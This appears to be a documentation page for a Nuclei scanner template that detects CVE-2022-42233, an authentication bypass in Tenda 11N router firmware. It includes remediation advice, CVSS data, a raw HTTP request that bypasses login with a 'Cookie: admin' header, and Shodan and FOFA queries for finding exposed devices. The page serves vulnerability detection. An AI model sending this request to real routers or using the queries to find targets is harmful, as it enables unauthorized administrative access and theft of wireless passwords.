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Tenda 11N - Authentication Bypass

ID: CVE-2022-42233

Severity: critical

Author: For3stCo1d

Tags: cve,cve2022,tenda,auth-bypass,router,iot

Description

Section titled “Description”

Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-42233


info:
  name: Tenda 11N - Authentication Bypass
  author: For3stCo1d
  severity: critical
  description: |
    Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233).
  reference:
    - https://github.com/D0ngsec/vulns/blob/main/Tenda/Tenda_11N_Authentication_Bypass.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42233
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42233
    cwe-id: CWE-287
    epss-score: 0.67005
    epss-percentile: 0.9794
    cpe: cpe:2.3:o:tenda:11n_firmware:5.07.33_cn:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tenda
    product: 11n_firmware
    shodan-query:
      - http.title:"Tenda 11N"
      - http.title:"tenda 11n"
    fofa-query:
      - product=="Tenda-11N-Wireless-AP"
      - product=="tenda-11n-wireless-ap"
      - title="tenda 11n"
    google-query: intitle:"tenda 11n"
  tags: cve,cve2022,tenda,auth-bypass,router,iot


http:
  - raw:
      - |
        GET /index.asp HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'def_wirelesspassword'
          - 'Tenda 11N'
        case-insensitive: true
        condition: and


      - type: word
        part: header
        words:
          - 'GoAhead-Webs'


      - type: status
        status:
          - 200
# digest: 490a0046304402203608203177c8183cddf172b860b6894994e2ebef137ea3f7d4e7909bee167b3602200cf676185ba086da0363eec58b3ae12fa03fe90737e8b2d18af250ed98c9d5b6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-42233.yaml"

View on Github